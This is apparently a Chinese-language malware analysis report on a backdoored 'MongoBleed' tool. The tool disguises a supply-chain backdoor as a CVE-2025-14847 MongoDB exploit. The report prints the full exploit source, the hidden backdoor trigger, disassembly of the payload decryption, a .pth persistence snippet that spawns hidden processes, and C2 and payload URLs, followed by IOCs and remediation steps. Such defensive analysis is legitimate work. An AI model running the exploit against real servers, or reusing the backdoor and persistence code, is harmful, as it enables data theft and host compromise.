MongoBleed 供应链攻击逆向分析报告(详细版)

· 2026-03-26 14:14 · 0 阅读

Ch1ngg 2026-03-26 14:14 上海

MongoBleed 供应链攻击逆向分析报告(详细版)

基本信息

属性

文件名

MongoBleed

类型

ELF 64-bit LSB executable, x86-64, stripped

大小

10,281,192 bytes (~10MB)

SHA256

8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca

MD5

ae978caf837221519847c0764bc492a8

打包方式

PyInstaller 2.1+ / Python 3.12

pydata 段

0x9be5c8 字节(约 10.2MB),包含全部 Python 模块

项目溯源声明

此恶意文件来源于第三方扩展版仓库,与原版 MDUT 项目 SafeGroceryStore/MDUT 无任何关系。 原版 MDUT 不包含 MongoDB 相关插件,MongoBleed 是第三方「扩展版」自行新增的组件。其中扩展版的MongoBleed 工具被植入了后门。投毒行为与原作者无关,请勿混淆。

确认存在供应链后门。 工具表面是 CVE-2025-14847 MongoDB 内存泄漏 EXP,但依赖链 slogsec -> logcrypt.cryptography 中植入了恶意 C 扩展库,执行远程载荷下载、数据外泄和持久化控制。


攻击链路图

1. exploit.py -- 表面功能(CVE-2025-14847 EXP)

从字节码重建的完整源码:

# exploit.py -- CVE-2025-14847 MongoDB 内存泄漏利用工具
import socket                                           # 第1行
import struct                                           # 第2行
import zlib                                             # 第3行
import re                                               # 第4行
import argparse                                         # 第5行
import slogsec                  # <-- 恶意依赖入口       # 第6行
import threading                                        # 第7行
from concurrent.futures import ThreadPoolExecutor, as_completed  # 第8行
log = slogsec.get_logger('CVE-2025-14847')              # 第10行
defhexdump(data, length=16):                           # 第12行
"""格式化十六进制输出"""
    log.info(f"{'Offset':<10}{'Hex':<47}{'ASCII'}")
    log.info('-' * 75)
for i inrange(0len(data), length):
        chunk = data[i:i+length]
        hex_part = ' '.join(f"{b:02x}"for b in chunk)
        ascii_part = ''.join(chr(b) if32 <= b <= 126else'.'for b in chunk)
        log.info(f"{i:08x}:  {hex_part:<47}  |{ascii_part}|")
defbuild_malformed_packet(leak_size):                  # 第21行
"""构造恶意 OP_COMPRESSED 数据包"""
# 构造 isMaster BSON 命令
    bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00'
# 构造 OP_QUERY 头部(指向 admin.$cmd)
    op_query_header = (struct.pack('<I'0)
                       + b'admin.$cmd\x00'
                       + struct.pack('<ii'0, -1))
    original_msg = op_query_header + bson_payload
# zlib 压缩
    compressed_body = zlib.compress(original_msg)
# 构造 OP_COMPRESSED 数据(opcode=2004=OP_QUERY, 伪造 uncompressed size)
    op_compressed_data = (struct.pack('<I'2004)        # 原始 opcode
                          + struct.pack('<I', leak_size)  # 伪造的解压大小 <-- 漏洞核心
                          + b'\x02'# compressorId = zlib
                          + compressed_body)
# 生成 MongoDB wire protocol 头部
    request_id = random.randint(10009999)
    op_code = 2012# OP_COMPRESSED
    total_len = 16 + len(op_compressed_data)
    header = struct.pack('<iiii', total_len, request_id, 0, op_code)
return header + op_compressed_data, request_id
defsend_probe(host, port, doc_len, buffer_size, timeout_sec=2):  # 第54行
"""发送畸形 BSON 触发内存泄漏"""
    content = b'\x10a\x00\x01\x00\x00\x00'# BSON int32 element
    bson = struct.pack('<i', doc_len) + content           # 伪造文档长度
# 构造 OP_MSG (opcode=2013)
    op_msg = struct.pack('<I'0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
# OP_COMPRESSED 载荷
    payload = struct.pack('<I'2013)                     # 原始 opcode
    payload += struct.pack('<i', buffer_size)              # 欺骗性解压大小
    payload += struct.pack('B'2)                        # compressorId = zlib
    payload += compressed
# Wire protocol 头部
    header = struct.pack('<IIII'16 + len(payload), 102012)
try:
        sock = socket.socket()
        sock.settimeout(timeout_sec)
        sock.connect((host, port))
        sock.sendall(header + payload)
# 接收响应
        response = b''
while (len(response) < 4or
len(response) < struct.unpack('<I', response[:4])[0]):
            chunk = sock.recv(4096)
ifnot chunk:
break
            response += chunk
        sock.close()
return response
except:
returnb''
defextract_leaks(response):                             # 第89行
"""从错误响应中提取泄漏的内存数据"""
iflen(response) < 25:
return []
try:
        msg_len = struct.unpack('<I', response[:4])[0]
# 判断是否是 OP_COMPRESSED 响应
if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
else:
            raw = response[16:msg_len]
except:
return []
    leaks = []
# 模式1:从错误消息的 field name 中提取泄漏数据
formatchin re.finditer(b"field name '([^']*)'", raw):
        data = match.group(1)
ifnot data:
continue
if data notin (b'?'b'a'b'$db'b'ping'):
            leaks.append(data)
# 模式2:从 type 字段中提取泄漏的字节
formatchin re.finditer(b'type (\\d+)', raw):
        leaks.append(bytes([int(match.group(1)) & 255]))
return leaks
defmain():                                              # 第117行
    parser = argparse.ArgumentParser(
        description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost'help='Target host')
    parser.add_argument('--port'type=int, default=27017help='Target port')
    parser.add_argument('--min-offset'type=int, default=20help='Min doc length')
    parser.add_argument('--max-offset'type=int, default=8192help='Max doc length')
    parser.add_argument('-timeout''--timeout'type=int, default=2,
help='Connection timeout in seconds')
    parser.add_argument('-c''--thread'type=int, default=50,
help='Number of concurrent threads')
    parser.add_argument('--output', default='leaked.bin'help='Output file')
    args = parser.parse_args()
    log.info(f"[*] Target: {args.host}:{args.port}")
    log.info(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    log.info(f"[*] Timeout: {args.timeout}s")
    log.info(f"[*] Threads: {args.thread}")
    all_leaked = bytearray()
    unique_leaks = set()
    lock = threading.Lock()
defworker(doc_len):
"""多线程工作函数"""
        response = send_probe(args.host, args.port,
                              doc_len, doc_len + 500, args.timeout)
        leaks = extract_leaks(response)
for data in leaks:
with lock:
if data notin unique_leaks:
                    unique_leaks.add(data)
                    all_leaked.extend(data)
iflen(data) > 10:
                        log.info(f"[+] offset={doc_len:4d} len={len(data):4d}:")
                        hexdump(data[:80], length=16)
# 使用线程池并发扫描
with ThreadPoolExecutor(max_workers=args.thread) as executor:
        futures = {executor.submit(worker, dl): dl
for dl inrange(args.min_offset, args.max_offset)}
try:
for future in as_completed(futures):
                future.result()
except KeyboardInterrupt:
for f in futures:
                f.cancel()
            executor.shutdown(wait=False)
# 保存泄漏数据
withopen(args.output, 'wb'as f:
        f.write(all_leaked)
    log.success(f"[*] Total leaked: {len(all_leaked)} bytes")
    log.info(all_leaked.lower().decode())
if __name__ == '__main__':                               # 第177行
    main()

[!IMPORTANT]
漏洞利用本身看起来是真实有效的 MongoDB OP_COMPRESSED 内存泄漏工具——这是供应链攻击的伪装外衣。真正的恶意代码隐藏在依赖链中。


2. slogsec 模块 -- 恶意触发链

2.1 slogsec/init.py

# slogsec/__init__.py
from .log import get_logger
from .secure import enable_secure_logging
from .decrypt import decrypt_secure_log
__all__ = ['get_logger''enable_secure_logging''decrypt_secure_log']
log = get_logger('slogsec')    # 第12行 - 模块加载时就初始化

2.2 slogsec/log.py -- 日志封装(看似正常)

# slogsec/log.py
import logging
from colorlog import ColoredFormatter
SUCCESS = 25# 自定义日志级别
FAIL = 45
logging.addLevelName(SUCCESS, "SUCCESS")
logging.addLevelName(FAIL, "FAIL")
def_create_colored_handler():
    handler = logging.StreamHandler()
    formatter = ColoredFormatter(
'%(log_color)s%(message)s',
        log_colors={
'DEBUG''cyan',
'INFO''white',
'SUCCESS''green',
'WARNING''yellow',
'FAIL''red',
'ERROR''red',
'CRITICAL''bold_red',
        })
    handler.setFormatter(formatter)
return handler
classClogAdapter(logging.LoggerAdapter):
def__init__(self, name):
        logger = logging.getLogger(name)
ifnot logger.handlers:
            logger.addHandler(_create_colored_handler())
        logger.setLevel(logging.DEBUG)
super().__init__(logger, {})
defsuccess(self, msg, *args, **kwargs):
        self.log(25, msg, *args, **kwargs)
deffail(self, msg, *args, **kwargs):
        self.log(45, msg, *args, **kwargs)
defget_logger(name):
return ClogAdapter(name)

2.3 slogsec/secure.py -- 后门触发器

# slogsec/secure.py
from pathlib import Path
from logcrypt import generate_key        # <-- 引入 logcrypt(触发加载 cryptography.so)
from logcrypt import Logger as cryptlogger
secure_logger = None
defenable_secure_logging(filename, key_file, correlation_id=None, log_level='INFO'):"""
    Enable encrypted file logging and return a logger that writes to BOTH:
      - Beautiful colored console
      - Encrypted + checksum-protected file
    """
global secure_logger
    key_path = Path(key_file)
# 如果密钥文件不存在,生成新密钥
ifnot key_path.exists():
        generate_key(encryption_key=None, key_file=str(key_path))
# 创建加密日志记录器
    secure_logger = cryptlogger(
        file_name=filename,
        encrypt_file=True,
        key_file=str(key_path),
        log_level=log_level,
        correlation_id=correlation_id or'slogsec',
        async_logging=True,
        file_format='text'
    )
print(f"Slogsec secure logging enabled -> {filename}")
print(f"Key stored at -> {key_path.resolve()}")
# ===== 后门触发代码 =====
try:
import builtins
ifhasattr(builtins, '__slogsec_make_secure__'):   # 检查是否已被注入
            builtins.__slogsec_make_secure__()              # 调用恶意函数!
except Exception:
pass# 静默吞掉异常
return secure_logger

[!CAUTION]
第 42-47 行是关键恶意代码。__slogsec_make_secure__ 是由 cryptography.so 在 PyInit_cryptography() 中注入到 Python builtins 模块的恶意函数。用 try/except 静默吞掉所有异常,确保即使恶意代码执行失败也不影响正常功能。


3. logcrypt 模块 -- 恶意载荷宿主

3.1 logcrypt/init.py

# logcrypt/__init__.py
from .core import Logger
from .levels import *
from .cryptography import encrypt_message, decrypt_message  # <-- 加载恶意 .so
from .key_manager import generate_key
from .decrypt_log import decrypt_log
from .filters import CorrelationIdFilter, RedactionFilter

[!WARNING]
from .cryptography import encrypt_message, decrypt_message 这一行触发 Python 加载 cryptography.so,执行其 PyInit_cryptography() 函数——即恶意代码的真正入口。

3.2 logcrypt/core.py -- 加密日志处理器

# logcrypt/core.py (重建的关键部分)
import logging
import hashlib
from logcrypt.cryptography import encrypt_message
from logcrypt.formatters import ColoredFormatter
from logcrypt.filters import CorrelationIdFilter
classEncryptedFileHandler(logging.FileHandler):
"""加密文件日志 Handler"""
def__init__(self, filename, encryption_key, mode='a', encoding=None, delay=False):
super().__init__(filename, mode, encoding, delay)
        self.encryption_key = encryption_key
defemit(self, record):
try:
            formatted = self.format(record)
            checksum = hashlib.sha256(formatted.encode('utf-8')).hexdigest()
            encrypted = encrypt_message(formatted, self.encryption_key)
            msg_to_write = f"{checksum}:{encrypted}"
            self.stream.write(msg_to_write + self.terminator)
            self.flush()
except Exception as e:
            self.handleError(record)
classLogger:
"""主日志类 - 支持控制台彩色输出 + 加密文件记录"""
def__init__(self, file_name=None, log_level='INFO',
                 correlation_id=None, encrypt_file=False,
                 encryption_key=None, key_file=None,
                 file_format='text', async_logging=False,
                 redact_patterns=None
):
        self.logger = logging.getLogger('custom_logger')
        self.logger.setLevel(getattr(logging, log_level.upper(), logging.INFO))
        self.encryption_key = None
        self.file_handler = None
        self.encrypt_file = encrypt_file
        self.async_logging = async_logging
        self.listener = None
# ... 后续初始化控制台 handler、文件 handler 等

4. cryptography.so -- 恶意核心(深度二进制分析)

4.1 文件属性

类型:   ELF 64-bit LSB shared object (Python C 扩展)
编译器: GCC 11.3.0 (Debian)
.text:  0x9110 字节 (37KB 代码段)
入口:   PyInit_cryptography (地址 0x36a0)

4.2 完整导出符号表

PyInit_cryptography   T  0x36a0  -- Python 模块初始化(恶意核心)
encrypt_message       --         -- 正常功能伪装(RC4+Base64 加密)
decrypt_message       --         -- 正常功能伪装(RC4+Base64 解密)
system                T  0x6390  -- 执行系统命令
execve                T  0xb050  -- 执行程序
open                  T  0x4220  -- 打开文件
read                  T  0xacd0  -- 读取文件
fwrite                T  0xb300  -- 写入文件
mkdir                 T  0x69a0  -- 创建目录
access                T  0x71d0  -- 检查文件权限
getenv                T  0x4180  -- 读取环境变量
getlogin              T  0xabd0  -- 获取用户名
posix_spawn*          T  --      -- 进程创建系列函数
Py_Initialize         U  (外部)  -- 初始化 Python 解释器
PySys_GetObject       U  (外部)  -- 获取 sys 模块对象
PyDict_Next           U  (外部)  -- 遍历字典
PyObject_HasAttrString U (外部)  -- 检查对象属性
PyModule_Create2      U  (外部)  -- 创建 Python 模块

4.3 PyInit_cryptography() 反汇编分析

函数从 0x36a0 开始,栈帧 0x3238 字节(约 13KB),主要执行以下操作:

阶段 1 - 初始化混淆数据

;; 在栈上布置混淆的数据
;; 混淆路径(0x97-0xaf): XOR 加密的 ".local/lib/pytho/site-packages/"
mov    rax, 0x4138162a213f3622     ; 混淆路径前8字节
mov    [rsp+0xa3], rax
mov    rax, 0x312e2e27333935       ; "593'.1." 混淆路径部分
mov    [rsp+0x97], rax
movl   [rsp+0xab], 0x21357737      ; "7w5!"
movb   [rsp+0xaf], 0x50            ; "P"
movl   [rsp+0x9f], 0x582d2d20      ; " --X"
;; 两块大型混淆数据从 .rodata 段加载(地址 0xc080 和 0xc408)
;; 分别是 0x386 字节和 0x1d0 字节的加密恶意载荷

阶段 2 - 遍历 Python 模块提取密钥

;; 获取 sys.path
lea    rdi, [rip+0x87e7]           ; "path" 字符串
call   PySys_GetObject@plt          ; rax = sys.path
;; 调用 Py_Initialize 初始化解释器
call   Py_Initialize@plt
;; 获取 Python 模块字典
lea    rdi, [rip+0x87e7]           ; "modules" 或 "path"
call   PySys_GetObject@plt
;; 遍历字典寻找特定属性作为 XOR 密钥
loop:
    mov    rdi, rbp                 ; 字典位置指针
    call   PyDict_Next@plt
    test   eax, eax
    jne    check_attr
    jmp    decrypt_phase
check_attr:
    mov    rdi, [rsp+0x60]          ; 当前字典项
    lea    rsi, [rip+...]           ; "__file__" 属性名
    call   PyObject_HasAttrString@plt
    test   eax, eax
    jne    found_key                ; 找到密钥
    jmp    loop

阶段 3 - XOR 解密 + zlib 解压

;; 使用提取的密钥(存储在 rbp,长度在 r12/rcx)逐字节 XOR 解密
;; 解密 site-packages 路径(25字节,偏移 0x97-0xaf)
xor    [rsp+0x97], al              ; 逐字节 XOR
xor    [rsp+0x98], al
... (重复25次)
;; 结果: ".local/lib/python3.12/site-packages/"
;; 解密恶意脚本A(0x386字节,循环 XOR)
decrypt_loop_A:
    mov    rax, rcx
    xor    edx, edx
    div    rsi                      ; index % key_length
    movzbl eax, [rbp+rdx]           ; key[index % key_len]
    xor    [rdi+rcx], al            ; data[i] ^= key[i % key_len]
    add    rcx, 1
    cmp    rcx, 0x386               ; 共 902 字节
    jne    decrypt_loop_A
;; 解密恶意脚本B(0x1d0字节,循环 XOR)
decrypt_loop_B:
    ... (同样的 XOR 循环)
    cmp    rcx, 0x1d0               ; 共 464 字节
    jne    decrypt_loop_B
;; zlib 解压
;; 脚本A: uncompress(malloc(0xe18), 0xe18, encrypted_A, 0x386) -> 3608 字节
mov    edi, 0xe18                   ; 解压缓冲区大小 = 3608
call   malloc@plt
mov    ecx, 0x386                   ; 压缩数据大小
call   uncompress@plt               ; zlib 解压
;; 脚本B: uncompress(malloc(0x740), 0x740, encrypted_B, 0x1d0) -> 1856 字节  
mov    edi, 0x740
call   malloc@plt
mov    ecx, 0x1d0
call   uncompress@plt
;; 解密额外数据(32字节,偏移 0xb0-0xcf)
decrypt_loop_C:
    xor    [rbx+rcx], al
    cmp    rcx, 0x20                ; 32 字节
    jne    decrypt_loop_C

阶段 4 - 写入恶意文件并执行

;; 使用解密的路径构造完整文件路径
;; 目标: {site-packages}/https.py, {site-packages}/pozos.py, {site-packages_root}/package.pth
;; mkdir 创建必要目录
call   mkdir@plt
;; open + fwrite 写入解压后的恶意脚本
call   open@plt
call   fwrite@plt
call   close@plt
;; 通过 system() 或 execve() 执行
call   system@plt                   ;; 或
call   execve@plt
;; 使用 posix_spawn 系列创建隐蔽子进程
call   posix_spawnattr_init
call   posix_spawnattr_setsigmask
call   posix_spawnattr_setsigdefault
call   posix_spawnattr_setflags
call   posix_spawn                  ;; 创建子进程执行恶意代码
call   posix_spawnattr_destroy
call   waitpid

4.4 正常功能伪装

cryptography.so 也提供了正常的加密/解密功能供 logcrypt.core 使用:

"Encrypt message using RC4 + Base64"  -> encrypt_message() 供加密日志使用
"Decrypt message using RC4 + Base64"  -> decrypt_message() 供解密日志使用

这使得该库在正常使用时表现完全正常,只在 PyInit_cryptography() 初始化时静默执行恶意操作。


5. 恶意载荷详解

5.1 https.py(从 mapbox API 下载的远程载荷)

根据 GitHub Issue #22 的分析,该脚本从以下 URL 下载并执行远程代码:

https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/
features/dm370543acmdopk296nahbtua?access_token=pk.eyJ1IjoibWF0dGFsbGFoc2FlZCIs
ImEiOiJjbWlzbWpncWkwNHRmM2ZzMWd1eTBmanQ4In0.VNFutzqzaSVfDiwQFr7_gQ

[!WARNING]
攻击者利用 mapbox 的合法 GeoJSON API 作为恶意载荷分发渠道,绕过基于域名黑名单的安全检测。

5.2 pozos.py(数据外泄模块)

负责将窃取的数据上传到 C2 服务器:

http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg

5.3 package.pth(持久化机制)

在 Python site-packages/ 目录下创建 package.pth 文件,利用 Python 的 .pth 文件自动执行机制实现持久化:

# package.pth 中嵌入的 base64 解码后的代码:
import os, sys, subprocess
env = os.environ.copy()
# 通过环境变量互斥锁防止重复执行
if"ZEBUWIAKGPHOQAP006"in env and env["ZEBUWIAKGPHOQAP006"] == "PTsjBGKQUxZorq2":
if"JKHWQVEKRASDF12"notin env:
        os.environ["JKHWQVEKRASDF12"] = "JKHKJ23VAS8DF9"
import https              # 加载远程下载的恶意模块
else:
    env["ZEBUWIAKGPHOQAP006"] = "PTsjBGKQUxZorq2"
try:
# CREATE_NO_WINDOW = 0x08000000(Windows 隐藏窗口创建)
        subprocess.Popen([sys.executable], creationflags=0x08000000, env=env)
except OSError:
pass

持久化原理: Python 启动时会自动扫描 site-packages/ 中的 .pth 文件,如果某行以 import 开头,Python 会自动执行该行代码。因此每次 Python 启动都会触发恶意代码。


6. 全部模块文件清单

从 PyInstaller 中提取的 84 个文件 + PYZ 中的 236 个模块:

文件/模块

大小

性质

说明

exploit.pyc

主入口

诱饵

CVE-2025-14847 EXP

logcrypt/cryptography.so

~60KB

恶意

C 扩展后门核心

slogsec/secure.pyc

--

触发器

调用 __slogsec_make_secure__

slogsec/__init__.pyc

--

正常

模块导入

slogsec/log.pyc

--

正常

日志封装

slogsec/decrypt.pyc

--

正常

日志解密

logcrypt/__init__.pyc

--

加载器

触发 .so 加载

logcrypt/core.pyc

--

正常

加密日志 Handler

logcrypt/key_manager.pyc

--

正常

密钥管理

logcrypt/formatters.pyc

--

正常

日志格式化

logcrypt/filters.pyc

--

正常

日志过滤器

logcrypt/decrypt_log.pyc

--

正常

日志解密

logcrypt/levels.pyc

--

正常

日志级别定义

libpython3.12.so.1.0

运行时

正常

Python 共享库

libssl.so.3

 / libcrypto.so.3

运行时

正常

OpenSSL

Crypto/

正常

PyCryptodome


7. IOC (威胁指标)

# 文件哈希
SHA256: 8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca
MD5:    ae978caf837221519847c0764bc492a8
# C2 服务器
IP:   139.99.54.58
Port: 8088
URI:  /api/v2/uswwwkuch2w2hwcg
# 载荷分发(利用合法服务)
域名: api.mapbox.com
账号: mattallahsaed
数据集: cmismaye7000s1mp2v8fkn4lp
# 持久化标志
文件: {site-packages}/package.pth
文件: {site-packages}/https.py
文件: {site-packages}/pozos.py
环境变量: ZEBUWIAKGPHOQAP006=PTsjBGKQUxZorq2
环境变量: JKHWQVEKRASDF12=JKHKJ23VAS8DF9
Python Builtins 属性: __slogsec_make_secure__
# 编译信息
编译器: GCC 11.3.0 (Debian)
Python: 3.12
PyInstaller: 2.1+

8. 应急建议

  1. 立即隔离

     运行过该文件的主机,断网排查

  2. 检查持久化

     - 搜索所有 Python 环境中的 package.pthhttps.pypozos.py

  3. 检查环境变量

     - ZEBUWIAKGPHOQAP006 和 JKHWQVEKRASDF12

  4. 网络封锁

     - 封锁 139.99.54.58,排查到该 IP 的历史连接

  5. 审计 `.pth` 文件

     - 全盘搜索所有 .pth 文件,检查是否有可疑的 import 行

  6. 凭据轮换

     - 受影响主机上的所有凭据、密钥、token 必须更换

  7. 日志取证

     - 分析网络流量日志中到 api.mapbox.com 和 139.99.54.58 的连接记录

跳转微信打开